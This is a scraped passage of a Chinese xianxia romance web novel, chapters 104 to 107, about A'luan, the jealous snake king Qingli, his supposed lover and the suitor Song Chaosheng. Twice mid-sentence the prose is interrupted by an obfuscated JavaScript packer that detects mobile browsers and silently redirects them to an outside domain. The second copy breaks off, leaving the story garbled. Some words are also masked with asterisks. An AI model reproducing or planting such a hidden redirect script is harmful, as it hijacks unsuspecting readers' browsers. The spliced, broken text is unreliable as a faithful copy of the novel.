等他回到树林,你已经走了,树林里只剩下被你用鬼符震伤的谢妄楼。 谢妄楼怕他找自己算账,就欺骗他,说是你主动找到谢妄楼,要求谢妄楼带你去捉他的奸。 谢妄楼还说,你引诱谢妄楼,你嫌他是条蛇,后悔当初没有选择嫁给谢妄楼,而献身给了他。 谢妄楼说,你亲口告诉谢妄楼,与他在一起的每一天,都恶心至极,你早就不愿意委身一条蛇了…… 你说,人蛇殊途,畜生永远是畜生,他就是个冷血卑劣的怪物,若非为了求生,你早就弃他而去了。 他那时,差点就被谢妄楼迷惑住了,差点,就做出更多让自己后悔终生的事。 好在,他看见了地上破碎的衣物。 他猜到谢妄楼欺负了你,为了给你出气,他打折了谢妄楼的两条腿…… 他知道,还不够。 剩下的仇,应该阿鸾亲手去报。 当晚,他回家看见做噩梦的阿鸾,心疼得恨不能立马将阿鸾抱入怀中。 可见到阿鸾苏醒,他却幼稚地选择违背本心,和阿鸾赌气,说了那些蠢话…… 阿鸾,那香囊他很喜欢,即便、里面有除妖符,他也喜欢。 是他犯蠢,没意识到,你说的都是真话。 阿鸾拿狐毒试探他,他漠不关心的态度,定是让阿鸾难受了……” 执起我僵硬的手,罩在他冰冷的半副面具上: “阿鸾,别轻易原谅他,也别、不要他……” 第105章 情敌会面修罗场 半梦半醒的状态下,我总感觉有人在我耳旁温和儒雅地说些什么。 可我太累了,已经没有多余精力去聆听他的低语了…… 但我记得,他的声音很好听。 像春夜里的绵绵细雨,悄悄拍打在油纸糊好的小木窗上。 润人神魂。 身上烧得发烫那会子,我搂住端坐在床边,耐心陪伴我的男人窄腰…… 亲昵地往他怀中蹭蹭。 嗅着他衣袖上的浅浅花香,躁乱的心才稍稍平和。 “龙君大人……” 我揉揉炙手的脸颊,无意识地轻喃:“我刚才说的都是气话……你别真收拾他。” “他很好,只是我们不该相遇。” “他能为了心爱的女人向我出卖色相……很不容易了。” “鸳鸯缠、龙君大人你能帮我解了吗?” “睡别人男朋友,我的道德不允许……” “我会半夜惊醒猛抽自己嘴巴子的。” 他:“……” 良久,才无奈回应了句:“阿鸾终于看清了自己的心……” 随即有娇俏女声调皮接上:“如何,我就说这招管用吧!” 仙人给我整理鬓角乱发的手一僵。 那女子又道:“这样,明天咱们再加大火力,大火收汁!保准刺激的她对您老欲罢不能,哭着喊着求您老喜欢她……” 搭在我鬓角的手紧握成拳,硬邦邦的指骨硌得我很不舒服。 “够了!” 仙人愠怒低斥: “本尊不会再伤她了,本尊护了她三百年,就因一时赌气把她丢下,让她承受被抛弃之痛,这个行为已然是很浑蛋了。本尊、就不该听你的,用这种法子逼迫她。” “可是,这法子效果不好吗?这可是所有办法中,见效最快起效最猛的捷径。再说,帝君你现在不是成功得到答案了吗? 帝君,再试试呗,乘胜追击,男女之间的感情就是这样,不逼一把,你得陪她多少年才能日久生情啊! 这女人呢,就是矫情,喜欢,却不承认,感情方面总是唯唯诺诺,始终迈不出第一步。 您是帝君,干嘛要委屈自己陪她虚耗时光……” “阿鸾是人,她不是本尊的宠物!此事到此为止,本尊不想再逼着她承认自己的感情了,本尊如今得知她心中有本尊,便够了。” “但夫妻之间,感情,不就是互相博弈么?谁技高一筹,谁占感情主导位,帝君你只要按照我的法子做了,保证她以后都对你死心塌地忠贞不渝……” “充满算计的感情,有存在的意义么?别拿你那些肮脏卑鄙的思想污了本尊的双耳!” “帝君,您不想让她爱您吗?您不希望,她永远属于你吗……” “本尊当然希望、她爱本尊,本尊希望,她只要本尊。本尊更盼着,能从她口中听到,她要本尊永远属于她。” “啊?她永远属于你你不要,你要你永远属于她……帝君,你好恋爱脑啊。” 仙人握住我放在他膝上的手,冷声问罪:“是谁允许你偷拿本尊的香囊!” 女子惊惶狡辩:“我我我、我是看您那么难受,又舍不得丢掉香囊,我是想替您出口气……” “你要是不自作主张,本尊和阿鸾早就把误会说清了!” 女子不服气地嘀咕: “那不是还有除妖符的事没说清吗……再说您当时不也演得很起劲吗?我身上鸡皮疙瘩都被你演出来了……” “本尊……”仙人理亏叹口气:“本尊是蠢病犯了才想利用你报复阿鸾的不信任,本尊、不该怀疑阿鸾疑心本尊**。” 女子听罢,啪啪击掌: “好好好,帝君您老真狠,发起火来自己都骂!她、没有怀疑你吗?那她往你香囊里塞除妖符做什么? 还有,她送你香囊的头一晚我们可是亲耳听到宋花枝母女俩说,她们已经告诉这姑娘,您就是柳叶村**的妖怪,这姑娘答应替阴苗族除害来着……” “你那晚去找本尊,是不是在路上碰见谢妄楼了?” “没有哎……但我在山上碰见两只白狐狸。” “蠢货!被谢妄楼设计了都不知道!” 女子尴尬地呃了声: “那当时帝君您不也没信吗,要不是您老之前就误打误撞听到宋潮生回来是为了向这姑娘提亲的消息,她又恰好送了你一枚藏符的香囊……您也不会气成那样啊!” “滚吧,本尊现在不想看见你。” “帝君你怎么这么多年了还是这么不讲理呢!怀疑你老婆心里有人才不肯接受你的是你,答应和我做戏演你老婆的是你,现在你老婆难受掉几滴眼泪,心疼得要死要活的又是你,您老真难伺候……” 仙人呼吸沉沉:“谢妄楼打进阿鸾体内的银针,有毒。” 女子恍然大悟:“难怪哎,看您给她渡了一夜神力了。” “她向本尊求助过,本尊没有理会她。” 女子吊儿郎当: “这又不能怪您,谁让她,求救还说得不清不楚……给她吃点教训也好,女朋友不能惯着。 要不然就像咱们的蛇皇陛下,现在都被训成妻管严了,祖娘娘让他往东,他不敢往西。 说起来蛇皇陛下上个月还在找我问您的终身大事,我当时就在想,得,叔侄俩都娶了个悍妻! 怕老婆可能是你们的家族遗传。 哎,不过这也或许不能怪你们,大概是因为咱们蛇族的祖娘娘是条母蛇,所以蛇族骨子里,多少有点母系当权思想。” “你当年暗恋你姐姐,也是这么薄情冷心?”仙人话音冰凉。 女子噎住:“……帝君您能别老提着一茬吗?” 想了想,又诚恳道:“帝君,奴家现在爱的是您!您能不能尊重一下奴家的人设?” 仙人沉声警告:“你若再敢刺激本尊夫人,本尊就抽了你的蛇骨,给银杏当兵器!” 女子:“哎?她不是有一条蛟骨了吗?说起来那条蛟骨还是……啧啧啧,那家伙若是知道自己苦苦寻了多年的蛟骨在银杏手里,哎呦……” 可惜话没说完,就突然没声了。 “主人我回来了,你要的美容丹我给你搞来了——哎呦我去!华桑大帝!” 仙人慌促松开我的手,闷咳压沉语气:“你、认识本、帝?” “嗷我来九黎山之前买过妖界头条汇总,见过您的画像,您这副面具,真帅!” “……” “不过,你干嘛抱着我主人?” “本、本帝……咳,你主人被妖物袭击了,本帝身为她供奉的家神,感应到她有危险,便现身给她解了毒。” “哦这样啊—— 呸,亏我下午还特意去通知蛇尊,让蛇尊赶紧回来陪着主人,主人状态不太对。 没想到那个臭男人嘴上答应得好好的,却光说不干! 呸,臭渣男,本凤凰鄙视他一辈子!就他这样还妄想娶我主人,吃屎去吧!” “……”仙人不自在地咳了咳,“灵凤,本帝有话问你。” “啊我办过暂住证的不是黑户!” “本帝曾无意见到你主人往一枚凤凰花香囊里塞了张灵符,那是什么符?” “平安符呀,说起这个我就气!那个臭男人太不知好歹了,枉我主人特意给他绣香囊,还引自身血入咒绘制鬼符……” “那是平安符?” “对呀,呐你看,我脖子上挂的这只小香囊里也有,是主人画那道符时顺手画的,我主人真是天底下最好的主人……啊!” 噗通一声,不知什么东西掉在了桌子上。 仙人扶我在床上躺好,迅速起身离去。 “帝君啊你去哪啊!” “回红云洞,找本尊的香囊。” “那个、帝君,你是找香囊里的那道灵符吗?我以为是脏东西,就取出来顺手扔了……” “……” “不怪我,那玩意我拿着确实是除妖符,您先别急,是不是被什么人给调包了……” “阴阳鬼术绘出的鬼符有认主之效,她给本尊画的平安符只认本尊,落进你手里会误认为你要对本尊不利。 为了保护本尊,才会伤害除本尊之外的所有仙妖! 本尊怎么偏偏忘了这一茬! 本尊若是找不到平安符,就抽了你的蛇骨!” “我我我、我这就喊仇惑与白术,召集山中蛇群寻找你的符! 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“谁?华桑大帝……哦华桑大帝!是啊,他昨夜突然出现了,说是感应到你有危险,出来帮你解毒的。” 我倍感意外地哽住。 是真的,是他老人家现身了。 呜我就说嘛,供奉家神还是有用的! “时间还早,主人再睡会嘛。我的脑壳子啊,怎么像是被谁砸了似的。” 我掀开被子起身下床:“你睡吧,我去给镇山龙君上香。” 他老人家昨天刚救了我一条小命,今天我说什么都得早早给他老人家上三炷粗香! 简单梳洗一番,我净手焚香,掀开神堂的门帘,轻步走进去。 拿起三炷长香,点燃,虔诚跪拜。 再将香**香炉。 “感谢华桑大帝救命之恩,信女以后必日日早晚焚香供奉大帝。” 我双手合十恭敬念完,起身顺便将神堂的卫生给打扫了。 连神龛前的三盘贡果都被我换了新鲜的。 干完家务活,已经是上午十点半了。 狐毒被解后,我有种大病初愈的快感,仿佛浑身都是使不完的力气! 为了庆祝我死里逃生,中午我特意和面做了肉包子。 十二点半,肉包子新鲜出锅,我小心翼翼拿了个烫手的包子放进小凤凰早就准备好的木碗里。 不等我把锅里剩下的包子都捡出来,小凤凰已经边被烫得嗷嗷叫,边小鸡啄米地疯狂掏肉馅,将碗里肉包子啃掉了一半。 刚闲下来,门外忽然有人敲门。 我擦干手上水渍,赶紧跑出厨房。 大中午的,也不知道是谁挑这个时辰来找人。 然,我踏进院子一抬头,就看见了两道熟悉的身影…… 一袭青衣的蛇王目光深深地凝望着我,启唇想要与我说话:“阿鸾……” 可我的注意力,却被躲在青衣蛇王身后,歪头从蛇王肩侧探出脑袋,冲我嫣然一笑的紫衣姑娘给吸引了去…… 紫衣姑娘眉眼弯弯的抬手和善打招呼:“嗨妹妹……” 寒意顷刻窜遍全身,我失魂落魄地顿了一步,往昔的一幕幕再次浮现眼前…… 尽管已经决定要放下了,为了避免这种尴尬情况出现,我特意提前给自己下了两层封住七情六欲的灵咒。 可前男友带白月光回归的杀伤力实在太大了,我还是控制不住的,被他们影响了。 拍门声还在继续,我猛地回神,假装没看见他俩,径直跑去打开院门。 “来了!” 两扇木门猛地拉开,一张笑吟吟的俊秀男人脸撞进我的视线…… 我猛一僵,瞬间后悔自己手快把门弄开了! “鸾镜,我就知道你在家!”宋潮生厚着脸皮欣喜道。 我汗颜。 废话,你专挑午饭时间过来我怎么可能不在家! 身后的蛇王一见宋潮生就应激,急着喊我:“阿鸾,本尊有话和你说。” 门外的男人也同样道: “鸾镜,方便请我进去坐坐吗?我有话想和你说。” 第106章 你和一条蛇厮混,以后怎么嫁人! “阿鸾!” “鸾镜……” 我头昏脑涨地抽了抽嘴角。 呵,这都是什么修罗场。 前男友、前男友的白月光、绯闻青梅竹马。 关系是真乱啊! 他人都来了,我当然也不好把他拒之门外。 敞开大门客气道:“潮生哥进来吧。” 他欢喜迈进门槛:“好!” “阿鸾……”青衣蛇王目露紧张地大步走来,修长玉指抓住我的手腕。 我面无表情地疏离挣开,不想与他说话,领着宋潮生去堂屋。 一杯温开水放在宋潮生右手边,我隔着茶几在他身旁坐下,礼貌地问了句:“吃饭了吗?我中午没做饭,蒸了一锅肉包子,你要不然凑合吃点?” “好啊!正巧,我这几天就想吃老家的包子,有小时候的味道!”他倒是不见外,一口答应。 “那你等我,我去厨房给你拿。” 这家伙,真来蹭饭啊! 去厨房的路上,我装作没看见院子里来意不明的两个非人类,简单和小凤嘱咐了两句,随手捡了几个包子端给宋潮生。 香喷喷的包子送到宋潮生眼前,宋潮生二话没说拿起一个张嘴就啃,吃得津津有味: “嗯!还是老家的口味让人心情舒畅!镜镜,你手艺真好,看来深得老祭司真传啊!以后……也不知道哪家男人有这么好的福气,能娶你做妻子。” ‘妻子’这两个字眼从他口中说出来,不知为何,竟令我很不舒服。 我提起茶壶给自己也倒了杯温水,淡淡道: “潮生哥,我现在是鬼师。你应该也听说过,凡为鬼师,六亲缘浅,姻缘更是淡薄。 历任鬼师不是终生未嫁就是早年丧夫,连我外婆也是在外公离世后才继任鬼师一职的,谁敢娶我,是嫌命长吗?” 宋潮生噎下一口包子着急道: “话也不能这么说,万一都是碰巧呢?何况先前几任鬼师,包括老祭司,她们被选为鬼师的时候已经人到中年了。 可你不一样啊,镜镜,你还年轻,我相信地府现在选你做鬼师娘娘,肯定事先也考虑过你的终身大事。 前几任鬼师一定是心性不够成熟坚定所以只有在沦为孤家寡人后才能被选中,你打小就心善沉稳,三观正,菩萨心肠,本就是做鬼师娘娘的最佳人选,哪怕你和人结婚了,你也不会耽于享乐忘了本职。 所以……镜镜,潮生哥的意思是,你才二十二岁,还是得多为自己打算,一个女孩子,从二十来岁守活寡到老,日子很难捱的。 你还小,即便现在还处于情感懵懂的状态,再过几年,你也会产生找个人陪的想法,这是人的本能,是人,都害怕孤寂……” 他说这些话时,青漓已经从外面跟了进来。 宋潮生说完,我一抬头就看见了青漓那张铁青的俊容。 实话实说……青漓这张脸,的确是男人中的极品。 五官立体精致,轮廓棱角分明,剑眉星目,鼻梁高挺。 眉心那抹红痕妖而不魅……像3D动漫中的执掌乾坤脚踏星辰、可镇诸仙,清华高贵的仙尊…… 超绝的建模脸。 哪怕给人摆臭脸,也比娱乐圈某些男爱豆上了妆后还赏心悦目。 其他男人往他跟前一站,与他一比…… 我下意识回头瞧了眼目光深邃,神色复杂凝望我的宋潮生。 赶忙拿起玻璃水杯灌口凉白开压一压…… 宋潮生就算了,宋潮生这张脸虽然在我们阴苗族的年轻男子里算还不错,但与青漓比,多少有点欺负他。 他的姿色……甚至还不如那条死狐狸。 动物仙的审美确实高级,修成人形后化出来的皮囊根本不是普通人类能比的。 就像,我的脸,也不如青漓身后那名紫衣蛇女好看。 紫衣蛇女正无聊地陪在青漓右侧,用手指绕着腰间的紫色玉佩流苏。 昂头蓦然撞见我打量她的视线,面上一喜,激动地抬手要同我搭话:“哎——” 奈何话没出口,就被青漓一记冰冷眼刀给吓憋了回去。 “镜镜……”听我迟迟没有接他的话,宋潮生忍不住地试探着喊了我一声。 我抿了口温水,“嗯。”放下杯子,平静道:“你说这段时间我身上发生的事你都知道了,那你应该也听说我嫁给蛇王的事了,对吧?” “蛇、蛇王。” 他呛了口白水,一手拿着包子,脸色变了变,接着套我话: “人和蛇怎么能……咳,就算你嫁给蛇王了,你也只是名义上的蛇王夫人。 咱们阴苗族不畏蛇,蛇王怎么能做伴侣,我知道,镜镜你和那条蛇的相处模式……肯定是像阳苗族的老人们养蛇蛊那样。” “我家这位蛇王,是条成了仙的大青蛇,他能化成人形。” “啊?”他一怔。 我接着轻描淡写说: “他不是蛇蛊,我们俩的相处模式和普通夫妻一样。 他每晚都会来陪我,地府突然选中我做鬼师确实很让人意外,但我在做鬼师前就已经嫁给他了。 我现在还会每晚和他亲近,也没见地府问罪,或有其他不好的事情发生。 可能真被潮生哥你说中了,地府见我年纪小,在这方面并没有要求得很严苛。” “什么、” 他手上一抖,差点把杯子里的水洒出来,脸色也顿时白了好几个度,出乎意料地结结巴巴找我确认: “你、和他……真做了夫妻?他、还每晚都来找你?!” 不远处的青漓眸色愈渐幽沉。 我嗯了声,佯作看不出他的歪心思,继续面不改色地瞎编: “我们夫妻关系很好,他很尊重我。 他是蛇仙,比现在的某些人类还重情重义,我当初的确是为了从狐仙的魔爪下逃生,才选择跑去转嫁给他的,但实际上我们的缘分早就开始了。 我们俩的婚事其实是外婆牵的线,外婆过世前,亲手将我交给了他。 只是那会子我还不知道他就是蛇王大人,我嫁给他之前,根本没见过他的真容,直到我闯进他的洞府掀了他的石棺吵醒了他,他才告诉我,他就是外婆出事那一阵,时常陪在我身边的仙家。 我俩兴趣相投,喜好相似,他对我好,又愿意护着我不被那条狐狸仙欺负,所以久而久之,我也对他生出了情愫。 我俩两情相悦,他出门办事,我就在家等着他,他回来,我就陪他吃饭、说话。 潮生哥,你不用担心我,我现在过得很好,我老公是个值得托付终生的人,有他在我肯定会安然无恙……” “可他是蛇你是人!” 宋潮生激动的双手直哆嗦,想也没想便将怪罪的话脱口而出: “你怎么能让一条蛇脏了身子,这样你以后还怎么出嫁……鸾镜,他和你不是同类,你俩不会有结果的!” 我镇定自若地淡然挑眉: “你怎么知道我和他在一起不会有结果?他是蛇王我是鬼师,我这辈子也没有再嫁给其他普通人的可能了。 在我看来,我俩都是异类,结为夫妻互相陪伴,是绝配。 潮生哥你刚才不是还说人最怕孤寂吗?你既然知道这个道理,应该能理解我啊!” “我、” 可能是意识到自己刚才的反应太异常,言语不妥了,宋潮生心虚地咳了咳,忙放轻声和我好言好语说: “镜镜,潮生哥只是太关心你了,才反应大了点。 对不起……镜镜,潮生哥刚才的意思是,你想嫁人完全可以找个同类,实在没必要、和一条蛇仙厮混。 你想找人陪,阴苗族多的是青年才俊大好儿郎,你要是肯答应,我就能许你八抬……” 我听不下去的及时打断:“潮生哥,我和你说实话,嫁给蛇仙是我心甘情愿的,我要他蛇仙的身份,也要他这个人,换个男人我宁愿一辈子不嫁。” 握着手里的玻璃杯,我一脸认真地忽悠他: “潮生哥,我宋鸾镜已经不是从前任人欺负的小菜鸟了,我长大了,也变现实了。 我如今可是鬼师娘娘,我的身份在阴苗族不说是最尊贵,那也是数一数二啊! 除了大祭司,族里现在就数我最有本事! 人一旦登上了高处,是无法和底层的同类产生共鸣的。 你们觉得蛇王大人是异类,可实际上人家是九黎山一带的妖王,手底下小喽啰数不胜数。 九黎山一带所有仙家精怪都得听他号令,他跺跺脚,山里的野仙都得死一排! 他法力高强,万妖之上,别说阴苗族这群凡夫俗子了,就是那兴风作浪的灰狐大仙,蛇王训他,也跟训狗似的。 他足够强大,才会吸引我的目光,我才会喜欢他,愿意和他做夫妻。 我现在是鬼师,我能配得上他,他比我厉害,我才会对他产生仰慕之情。 人嘛,都是有慕强心理的。我做他老婆,我有危险的时候,他能保证我毫发无损。 但要是换成普通人呢?遇见危险我可能还要分心护着他。 再说,就阴苗族这些年轻男人,有的下地耕田都拉不动犁,手无缚鸡之力的,成天还爱嚼舌根,我实在看不上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246831|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且我堂堂鬼师娘娘,和普通人组建家庭,实在是拉低我的身份! 蛇王能给我安全感,换成他们,给得了吗? 潮生哥,若换成你,你能在我被大祭司为难的时候帮我出头镇住大祭司吗? 你能在我被野仙打伤,命悬一线时,立马出现替我报仇吗?” “我……”他噎住,迷茫地瞪着我不知所措。 我拍拍他的手背,一本正经道: “你不能,你是凡人,你连法力都没有,怎么保护我? 潮生哥,我是需要一个爱我的人陪着我,但前提是这个人也得能成为我的依靠、底气。 两人组建家庭,是要在一起生活一辈子的,有情不能饮水饱,只喝水不吃饭人会饿死的。” “所以,你也是因为他法力高强,能够保护你,才愿意给一条蛇当妻子……” “对啊!”我佯作坦荡,“他不能满足我的需求,为我提供利益,**嘛要嫁给他?” 宋潮生还是不死心: “可,感情是感情,利益是利益,你怎么能、在感情中谈利用…… 镜镜,你难道不想要一份纯粹的爱情吗? 他是能力强大能保护你,可如果有一天,他不爱你了,就不会再保护你了。 你想嫁人,还是得嫁给一个用你用情至深的男人,一个男人,本事越大,往往就越薄情,你不能总想着在爱情中计较得失。 虽然我、我们阴苗族的年轻男人们都是凡夫俗子,但只要他爱你,愿意把一颗心都给你,不就够了吗? 而且你已经很强大了,你现在是鬼师娘娘,凡夫俗子爱人虽然不能保护你,但你,可以保护他啊。 只要是真心相爱,谁保护谁不都一样……” 我嗤笑打趣:“我明白潮生哥的意思了,潮生哥是说,我应该放弃一个本事大,能护住我的老公,去嫁给一个需要我保护的男人?” “我的意思是……你不能只看对方是否强大,你得看对方爱不爱你。 你都已经是鬼师娘娘了,你如果愿意嫁人,无论嫁去谁家,谁家都会拿你当祖宗供。 只要他爱你,你保护他,不也是应该的吗?” 我点点头:“听着是蛮有道理的,但我觉得我现在的老公也蛮好啊!” 他不甘放弃,坚持道:“镜镜,听潮生哥一句话,蛇类是冷血动物,他们不懂爱的……你是人,就该找个男人嫁!” 我低低揶揄: “潮生哥的意思是,我只能嫁给人呗。 就算对方比我弱,什么都给不了我,我倒贴,也得选他,不能选除人以外的物种? 可……我已经嫁给蛇王了怎么办?” “你和他,断绝关系!你俩又没有结婚证,分开也就一句话的事。” 宋潮生一把拉住我的手,一副对我掏心掏肺的表情: “鸾镜,你相信潮生哥,你会幸福的!” 我用力将手抽出来,看着他笑:“我不敢,我家这位蛇王发起狂来,可是会**的。” “镜镜!” 他苦口婆心地皱眉道: “你听潮生哥的话,你去和他说分手,和他断绝关系,以后再也不见他,只要你态度坚决,我相信他会明白强扭的瓜不甜这个道理。” 不远处的青蛇王俊脸越来越黑,幽沉眼眸内淬满浸了毒的寒冰,十指紧攥,骨节捏得咯吱响。 连他的白月光见状,都抽着嘴角默默往后退两步,同他拉开距离。 “好啊。” 我轻松答应,垂下一只手,在他看不见的地方悄悄指尖勾起灵力,于门外化出一条黑色巨**的虚影,打算给他来波刺激的: “哦对了,忘记告诉潮生哥了,我老公脾气不好,最讨厌挑拨离间的人。 上次有人好心提醒我远离他,他当晚就跑到那人家里,缠在那人的房梁上,趁那人熟睡,一口咬断了那人的脖子,把那人整颗脑袋都吞进了肚子!血瞬间将整张床都染透了! 我赶过去那会子,那人家里已经血流成河了!” 虚伪的宋潮生来不及高兴就被我一句话吓到脸发青,呛得不断咳嗽。 我随即又说:“潮生哥你看门外,我老公回来了。” “啊?!”他一惊,极度恐慌地扔掉手里没吃完的包子,扭头正要朝外看—— 谁知我化出来的黑**虚影竟在同一时间,被一条庞大的青色蛇影给冲散顶替…… 于是宋潮生一扭头,就见到一条浑身披着幽青鳞甲,脑袋足有一个水缸那么大,长着一双流光溢彩金色竖瞳的大青蛇正眯眼愤恨打量着他—— 第107章 我们之间,缘分已尽 大蛇与他眼对眼鼻对鼻,嘶嘶吐出的细长蛇信子都扫着他的脸了。 他猛地往椅背一靠,被吓得连喊救命都忘了,只一个劲的双手扶着椅子浑身打抖…… 半晌,才回过神磕磕巴巴地惊叫:“蛇、蛇蛇、好大的蛇!” 青蛇王眼底燃起熊熊怒火,张口吐出阴冷人言:“你敢挖本尊的墙角,找死!” 说完,一尾巴将宋潮生那家伙连人带椅子全都给扔出了堂屋,像丢垃圾一般甩进了院子里…… 坐在原地的我只感觉耳畔有阵强风扫过,再抬头,宋潮生已经连滚带爬哭爹喊娘的直奔院门外跑了—— “救命、蛇!大蛇!妖怪啊!” 大青蛇把他摔得头破血流断胳膊瘸腿还不解气,一股青烟径直追出去,撵得宋潮生哭声越来越洪亮…… “别过来!我、我可是会驱妖的!” “我有符!” “啊——救命,救命啊,蛇,救我大伯!” “刘三叔,你别跑啊!救我!” “这蛇发疯了!快去找大祭司,找大祭司捉妖啊!” “蛇王爷爷我错了,我以后再也不敢了,求你别打了……” 最后一句话说完,他哭得好卖力。 小凤凰抱着肉包子慢悠悠溜达进来: “其实,我也早就想揍他了。他人菜还喜欢做美梦,只不过,主人你刚才干嘛那样说自己,把自己形容的像个只重利益不重感情的人。” 我低头灌白开水: “我想让他知难而退来着,没想到他脸皮那么厚。 我都把话说得那么难听了他还能舔着脸让我和青、蛇王分开,试图洗脑我,要我跟他。 神经病!真不晓得银杏究竟看上他哪一点了。” “小银杏眼光堪忧啊,不过主人今天的表现已经很不错啦!至少他到最后也没能说出和你表白的话。” 我转着手里的玻璃杯,蹙眉低喃:“恶心。” 才说完,我就被一道高大的阴影笼罩住…… 抬眼,扫见那人墨青色金龙纹的袍摆,立即将目光收回来。 赶在他抬袖触碰我之前起身,招呼小凤凰:“小凤,我们出门转转。” 小凤凰与我心有灵犀,闻言立马叼着肉包子,扑扇着翅膀飞起来,将挡在我跟前的高大身影驱开:“让开!别挡道!” 我抓住机会大步迈向门口,但路过那名紫衣蛇女的身畔时,我不由自主地慢下了步子。 最终脚下一顿,我扭头向不知所措的蛇女解释: “我刚才说的,夫妻感情和睦,他对我很好,都是编的。 蛇王大人心里有你,对我并没有付出半分真心,他一直为你守着底线。 我那样说,只是想借他挡烂桃花,你……别多想。” 静了静,我又补充: “既然你醒了,你们一双有情人团聚了,那就回属于自己的地方生活吧。 我的身份特殊又尴尬,你常见我,难免会多想,我也不想打扰你们的平静日子,如果还需要我的灵气,你可以自己来取。 蛇王对我有恩,我会报答他。但我和他,以后还是不要再见为好。” 紫衣蛇女呆呆哦了声,半晌,“嗳不对啊……” 我走到院门口,那人还是追上来了,一把攥住我扶在门框上的手,磁性嗓音沙哑: “阿鸾,我错了!香囊我找回来了,你看,我没有丢掉它……” 他慌忙将护在胸口的凤凰花香囊取出来,捧给我看,向我证明。 我瞥了眼他手里的东西,平静把手从他掌心抽出来,淡淡道:“不是什么好东西,蛇尊扔了就行,没必要放在跟前碍眼。” “阿鸾,我、让你受委屈了。”他拧着剑眉,伸手想牵我,却被我先一步躲开。 我回身面向他,冷静地把话和他说清楚: “族里人人都知道我嫁给了青蛇王,所以蛇尊您的名号,还得借我再用几年,等我有足够的能力应付族里这些明枪暗箭了,我会对外宣布您已经回深山,与我再无瓜葛了。 刚才我那样说是想利用你断绝宋潮生的念头,宋潮生不是我的青梅竹马,我不想和他有太多联系。 蛇尊大人,我知道您为人正直,处事果决,你品行高洁,在感情上也不屑干脚踏两只船,一颗心分两瓣用的事。您等了您的心上人三百多年,辛苦了。 我想请您,带您的爱人离开我家,她才刚醒,您不要惹她难受。” “阿鸾,她不是我的爱人,我和她没有关系,我们做的那些都是为了同你赌气……” 我打断他耐心地解释,努力将心平气和装九分像: “蛇尊可别和我说,你俩之前的行为都是为了气我。那就更荒唐了,我又没有做错什么,为什么要平白无故遭受你们的怀疑试探与伤害。” “阿鸾。”他陡然哽住,不自觉红了眼眶。 我接着说: “真正在乎一个人,怎么会舍得让她误会伤心呢,更何况,还是故意让她误会。 而且,蛇尊和那个女孩举止亲密,蛇尊那么在意那个女孩,怎么可能与她没有关系。 蛇尊不用安抚我,我与蛇尊萍水相逢,你我能结盟,就是因为可以各取所需。 蛇尊现在终于得偿所愿,是好事。蛇尊以后,再有需要可以让手下转告我一声,我们,后会无期。” “你要赶我走么?” 他今天的反应是异常了点,听我说后会无期,竟瞬间眸中起雾,眼角蓄起一汪清泪。 算了,他爱抽风我又不是头一回知道。 我抿了抿唇为难一笑:“是蛇尊不适合再住在我这里,难道……” 我盯着他潮湿的青眸,浅浅调侃: “蛇尊打算和心爱之人占据我家,连我最后仅剩的不动产也要抢走吗? 蛇尊就非要与我抬头不见低头见,那样想让我亲眼见证蛇尊夫妻恩爱和睦,日子美好幸福吗?” “阿鸾,我没有。” 他强势的抬袖将我按进怀里,好听的声音今日格外沙哑,声线颤抖: “我、让你伤心了,我不该把你扔给谢妄楼,不该不相信你,阿鸾,是我蠢,没有发现你真中了狐毒……” 我拼命用咒语压住内心深处的千尺风浪,状态依旧沉静: “蛇尊你又记错了,我没有中狐毒。那晚我是骗你的,结果发现,我骗不了你。 我要是真中了狐毒,现在还能安然无恙地出现在您面前吗?可能早就被狐毒折磨**。 就算没死,应该也会丢半条命。那可是狐毒,谢妄楼淬炼的妖毒,哪那么容易扛下来。” 他听罢我的话,呼吸声乱,没有回应,只默默将我往怀中按得更紧些。 隔着衣物严实相贴的胸口另一端,他的心跳失了节奏,砰砰起伏得极厉害。 “对了,我昨天去求了华桑大帝,大帝仁慈,已经把我身上的鸳鸯缠解了。蛇尊大人以后不用再挂念我了,您可以放心回山里。” 我昂头,下颌抵在他肩上,用着极平常的语调与他轻轻说。 是了,昨晚我应该趁热打铁求华桑大帝给我彻底解除鸳鸯缠来着! 我恍惚记得,我好像和他提了。 又好像没说。 下次见到大帝,我再试着求他帮我解了这破灵咒…… 大帝可是镇山龙君,小小狐族灵咒,他肯定挥挥手就能搞定! 至于现在,先把这尊大仙送走再说。 我正走神着,脖子上忽然一阵剧痛,是他无情张嘴一口咬住了我! 这条冷血蛇,该不会临走还想用蛇毒折磨我一次吧! 我慌促挣扎着要推开他,又怕又委屈地破防道:“青漓!你还有没有良心,狐毒没毒死我你想用蛇毒再添把火吗!” 他一顿,咬在我脖子上的牙齿慢慢松开…… 箍紧我的腰肢,按住我疯狂挣扎、求生欲极强的瘦弱身板,他抱着我不撒手,委屈地附在我耳边低吟: “阿鸾,我没毒……飞升那天,我体内的蛇毒就已经被消除尽了……” 我愣住,尴尬地放弃反抗挣扎,安静下来。 没毒啊,呼……老天保佑! 他抬起大手摸我脑袋,努力耐心安抚我的情绪: “别怕了,没有毒,不会让你再**了。阿鸾,我真的知道错了……你可不可以、别不要我。” 我在他怀里沉寂无言,听着他此刻的温柔道歉,心像被巨石压着,被丢进冰窟,一阵一阵的闷痛。 “你体内鸳鸯缠还在发作……鸳鸯缠是涂山上古狐族秘术,他只是镇山龙君,怎么给你解。 你这样骗我,是宁肯不要自己的性命了,也要赶我走……你铁了心,想与我一刀两断…… 阿鸾,你为何不肯给我一个改过的机会呢?” 他低头埋在我肩上,不久,我就感觉到肩膀一片滚烫濡湿。 我无奈昂起脑袋,冷笑笑:“您又做错什么,谈何改过?” “阿鸾……” 我残忍拒绝: “你还要我把话说得更清楚点吗?为什么不告诉我你早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 